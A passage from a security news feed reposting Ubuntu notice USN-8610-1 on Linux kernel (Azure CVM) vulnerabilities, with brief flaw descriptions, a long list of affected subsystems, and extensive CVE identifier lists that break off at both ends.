CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206,
CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218,
CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227,
CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380,
CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873,
CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915,
CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924,
CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946,
CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958,
